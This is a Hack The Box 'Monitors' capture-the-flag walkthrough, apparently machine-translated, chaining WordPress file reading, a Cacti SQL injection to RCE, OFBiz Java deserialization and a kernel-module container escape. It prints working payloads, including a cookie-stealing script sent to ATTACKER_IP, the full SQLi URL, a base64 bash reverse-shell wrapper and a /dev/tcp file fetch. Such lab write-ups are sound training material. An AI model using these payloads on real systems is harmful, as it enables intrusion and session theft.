HTB Monitors Walkthrough: Cacti SQLi and Container Escape

Walkthrough of Hack The Box Monitors: SQLi in Cacti (CVE-2020-14295), deserialization in OFBiz (CVE-2020-9496), and container escape via kernel module.
- Posted on 2026-09-11
- Reading time: 7 min
HTB Monitors: from LFI on WordPress to Root via Container Escape #
Monitors is a “Hard” Linux machine from Hack The Box that chains together several vulnerabilities: a vulnerable endpoint on an outdated WordPress plugin that exposes both arbitrary file reading and content reflection exploitable via XSS, a SQL Injection in Cacti leading to RCE, an unauthenticated Java deserialization in Apache OFBiz inside a Docker container, and finally a container escape exploiting the capability CAP_SYS_MODULE to load a malicious kernel module onto the host.
Initial Recon #
A full port scan with mynmap , Hackita's nmap wrapper that automates initial scan + script/version detection in a single step, shows only two exposed ports:
sudo mynmap monitors.htb22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http Apache httpd 2.4.29 (Ubuntu)The OpenSSH and Apache versions are consistent with Ubuntu 18.04 Bionic. When visiting the direct IP, Apache returns a 403 with a message explicitly asking to use a hostname—a sign that the server responds based on the header only. Host, so the machine hosts multiple virtual hosts.
By adding monitors.htb at/etc/hosts You'll be taken to a WordPress blog dedicated to hardware monitoring, copyrighted 2018: a first clue, along with the date, that the site may be running on outdated and outdated plugins.
Shell as www-data #
WordPress Enumeration with WPScan #
An enumeration with WPScan
(wpscan --url http://monitors.htb/ -e ap,t,tt,u) reports several vulnerabilities in WordPress 5.5.1 core, none directly exploitable for RCE, but it also identifies an installed plugin: wp-with-spritz, version 1.0, not updated since 2015.
The wp-with-spritz plugin: reading files, not executing them #
The plugin exposes an endpoint that passes a user-controlled parameter directly to file_get_contents(), without any validation:
if(isset($_GET['url'])){
$content = file_get_contents($_GET['url']);The technical point to understand here is the difference between file_get_contents() and constructs like include/require: the first function readers the contents of a file or remote resource and returns it as a string — it doesn't execute it, regardless of its contents. If you try to point url To a remote PHP script, that PHP is downloaded as raw text, uninterpreted by the server's PHP engine. This excludes a classic Remote File Inclusion with code execution: even if a malicious PHP file is downloaded, the server will never execute it via this endpoint.
What the endpoint does allow are two distinct vectors, depending on what is passed to it. url:
1. Path Traversal / Local File Reading. Passing a local path with traversal, file_get_contents() read arbitrary files on the filesystem:
GET /wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd2. SSRF with content reflection. By passing a remote URL, the plugin makes a server-side HTTP request to that URL and reflects its content in the browser's response—this is Server-Side Request Forgery. But since the downloaded content is then printed to the page and interpreted by the browser as HTML, if the remote content contains <script> this runs on the client side: the SSRF vector then also becomes a vehicle for Reflected XSS, with the target server acting as a proxy between the attacker and the victim who clicks the link.
By exploiting this second vector, it is possible to construct a payload that, once executed in the browser of an authenticated user (e.g., admin), exfiltrates the session cookie via an image request to a server controlled by the attacker:
new Image().src = "http://ATTACKER_IP/steal?c=" + document.cookie;This technique goes beyond the narrow scope of the RCE obtained later on Cacti, but it is worth noting because the same vulnerable endpoint simultaneously exposes two different classes of vulnerabilities (file reading and SSRF/XSS) — it is a good reminder of how important it is to test a single controlled parameter from different angles, not to stop at the first impact found.
Enumeration of virtual hosts #
With read access to the filesystem via path traversal, the Apache configuration in /etc/apache2/sites-enabled/000-default.conf reveals in a comment the existence of two other vhost files not yet known: monitors.htb.conf e cacti-admin.monitors.htb.confThe latter exhibits an installation of Cacti — an open source network graphing and monitoring tool — with document root su /usr/share/cacti.
Recovering wp-config.php (url=/../../../../var/www/wordpress/wp-config.php) you get the WordPress database credentials:
DB_USER: wpadmin
DB_PASSWORD: BestAdministrator@2020!These credentials do not work on either WordPress or SSH, but are reused identically as admin credentials on the Cacti dashboard—a classic case of password reuse between different services on the same infrastructure, a pattern to always check for when enumerating.
SQL Injection in Cacti — CVE-2020-14295 #
Cacti 1.2.12 is vulnerable to SQL Injection
unauthenticated, tracked as CVE-2020-14295, in the parameter filter of the endpoint color.phpThe vulnerability is documented in a public issue on the project's GitHub repository, where a community member demonstrates both the raw SQLi and, in a subsequent comment, how to transform it into arbitrary command execution.
Analyzing that discussion, the key point is that color.php does not sanitize the parameter correctly filter before using it in a query — allowing you to close the original string with ') and concatenate a UNION SELECT that fishes from the table user_auth (Cacti users' username/password hash). But the most interesting part that emerged from the discussion is that the MySQL database, with multiple statements enabled on the application side, it also allows you to stack a second query after a semicolon in the same request. This opens the way to a UPDATE on the table settings, which modifies the column path_php_binary — the path to the PHP binary that Cacti calls internally for some scheduled operations — replacing it with an arbitrary shell command:
/cacti/color.php?action=export&header=false&filter=1')+UNION+SELECT+1,username,password,4,5,6,7+from+user_auth;update+settings+set+value='COMANDO;'+where+name='path_php_binary';--+-The injected command is not executed immediately: it is actually invoked only by visiting host.php?action=reindex, which internally calls the binary configured in path_php_binary. One non-obvious feature, which can only be detected by testing: the updated binary in the database is re-executed only once per authenticated session — if you try to relaunch host.php The second time in the same session, the previous command is executed, not the new one. Therefore, each command requires a clean session: login, injection, and triggers must be redone from scratch each time.
Automating the entire flow with a script that handles CSRF tokens, logins, injections, and triggers sequentially makes the process reliable and repeatable, instead of having to do it manually via browser or Burp Repeater every time.
With this technique, first tested with a harmless command like ping (to confirm the RCE via ICMP on tcpdump) and then with a reverse Bash shell, you get a shell like www data.
Shell as Marcus #
The cacti-backup service #
Enumerating /etc/systemd/system — the path where Linux keeps the unit files of systemd services, including custom ones installed on the machine in addition to the system ones — there is a non-standard service:
[Unit]
Description=Cacti Backup Service
[Service]
Type=oneshot
User=www-data
ExecStart=/home/marcus/.backup/backup.shThe service runs as www-data (so it doesn't offer direct privesc, since we're already that user), but it reveals the path to a readable script thanks to the directory permissions. backup.sh contains a cleartext password, used to authenticate a scp to another host on the network via sshpass:
config_pass="VerticalEdge2020"
sshpass -p "${config_pass}" scp /tmp/cacti_backup 192.168.1.14:/opt/backup_collection/cacti_backup.zipHard-coded credentials in automation scripts are a common misconfiguration and, as in this case, are often reused even for real user accounts on the same machine. The password VerticalEdge2020 it actually works for the user marcus, let it be su marcus either via SSH, allowing you to read user.txt.
Shell as root in container — CVE-2020-9496 #
OFBiz container identification #
In marcus's home, a note.txt with a todo list mentions a “not ready for production” Docker image. The process list confirms the presence of a docker-proxy which forwards traffic from 127.0.0.1:8443 to the internal IP of a container (172.17.0.2:8443) — door not exposed externally, therefore reachable only from the machine itself.
With an SSH port forward (ssh marcus@target -L 8443:localhost:8443) you can forward that internal port to your attack machine and reach the service. When visiting the endpoint via browser or curl, the server responds with a 404 from Tomcat that reveals the version: Apache Tomcat 9.0.31A deeper dive into the directories reveals that Tomcat is running Apache OFBiz, release 17.12.01 — an open source ERP/enterprise application framework, visible from the footer of the login pages.
XML-RPC Deserialization — CVE-2020-9496 #
OFBiz 17.12.01 is vulnerable to Java deserialization
not authenticated at the endpoint /webtools/control/xmlrpc, traced as CVE-2020-9496 and documented in detail by the Zero Day Initiative. The bug lies in the parsing of the XML-RPC protocol: a tag <serializable> non-standard, added as an extension by Apache, allows you to insert a base64-serialized Java object into the body of the XML request. The server deserializes it without any validation, paving the way for a chain of RCE
via gadget chain.
<?xml version="1.0"?>
<methodCall>
<methodName>test</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64_GADGET</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>The payload must be generated with ysoserial, trying different gadget chains until one finds a compatible class in the target's classpath: the families CommonsCollections do not work on this version, while CommonsBeanutils1 Yup.
An important practical detail concerns how the gadget executes the command: it passes through Runtime.exec(String), which does not invoke a shell — it just runs a binary followed by its arguments, without interpreting ;, &&, |, redirect, or other shell syntax. Simple commands like ping They work, but classic reverse shells with pipes and redirects don't.
The robust solution is to encapsulate everything in a single command bash -c, using array syntax and passing the actual command encoded in base64:
bash -c {echo,BASE64_DEL_COMANDO}|{base64,-d}|{bash,-i}This form completely avoids the problem of spaces and special characters in the command line passed to the gadget: Runtime.exec() sees only one command (bash) with arguments (-c, {echo,...}|{base64,-d}|{bash,-i}), and bash internally interprets the array and pipes correctly. The result is a reverse shell like root, but confined inside the Docker container.
Transfer ligol-agent without curl #
Once inside the container as root, to easily reach other internal services you need a tunnel — but the container doesn't have curl nor wget installed. In these cases, if present bash, you can transfer a track using /dev/tcp, the pseudo-device interface that bash uses to open raw TCP connections by treating them as files.
Attacking side, the track is served ligolo-agent on a listening port with netcat:
nc -lvnp 9001 < ligolo-agentOn the target side (inside the container), it reads from the TCP connection and writes the received content to a local file:
cat - < /dev/tcp/10.10.14.198/80 > ligolo-agentThe binary travels byte by byte on the raw connection, without passing through any HTTP tool: this is the technique to use whenever both are missing curl is wget but a bash shell is available.
Container escape #
The privilege escalation from root-in-container to root-on-host was conducted following the same methodology described in the article Container Escape Hackita , which covers the scenario of a web app in a privileged Docker.
Capability enumeration #
Inside the container, cat /proc/self/status | grep Cap (or alternatively capsh --print, if available) reveals the Linux capabilities active for the current process. The presence of CAP_SYS_MODULE in the bounding set indicates that the container was started in mode --privileged — configuration that grants extended capabilities, including CAP_SYS_MODULE (loading kernel modules), CAP_SYS_RAWIO e CAP_SYS_ADMIN.
CAP_SYS_MODULE is particularly critical: it allows you to load kernel modules with insmod, and since the Linux kernel is shared between the host and the container (unlike the filesystem, which is isolated), a module loaded from inside the container runs with the privileges of the host kernel, not the container.
Compiling and running the kernel module #
The module must be compiled in the exact same headers environment as the target kernel, available in /usr/src/linux-headers-$(uname -r) —are usually already installed in the container, since they are used to build the modules used by the application itself. Two files are needed: the C source of the malicious module and a minimal Makefile.
obj-m += escape.o
make -C /lib/modules/$(uname -r)/build M=/tmp/privesc modulesThe module, written in C using the Linux kernel API, runs a reverse shell upon loading via call_usermodehelper() — a kernel function intended to launch userspace processes from kernel context, used here to execute /bin/bash with maximum available privileges.
insmod escape.koLoading the module opens a reverse shell like root on the host, no longer confined to the container, completing the attack chain up to root.txt.
Key lessons #
- Password reuse Between different services (WordPress → Cacti, backup scripts → user accounts) is often the key to initial lateral movement: each credential found should always be tested on all available services.
- A single user-controlled parameter can hide multiple different vulnerabilities (path traversal and SSRF/XSS on the same endpoint): it is always worth testing it from multiple angles, not stopping at the first confirmed impact.
- Java deserialization vulnerabilities require attention to how the gadget invokes execution:
Runtime.exec(String)does not go through a shell, so complex commands should always be encapsulated in a single binary (bash -cwith arrays) to avoid syntax breaking. - A Docker container running with
--privilegedeCAP_SYS_MODULEactive is, in fact, equivalent to root on the host via kernel module loading: the capability must always be verified (/proc/self/status,capsh --print) when landing inside a container during a penetration test.








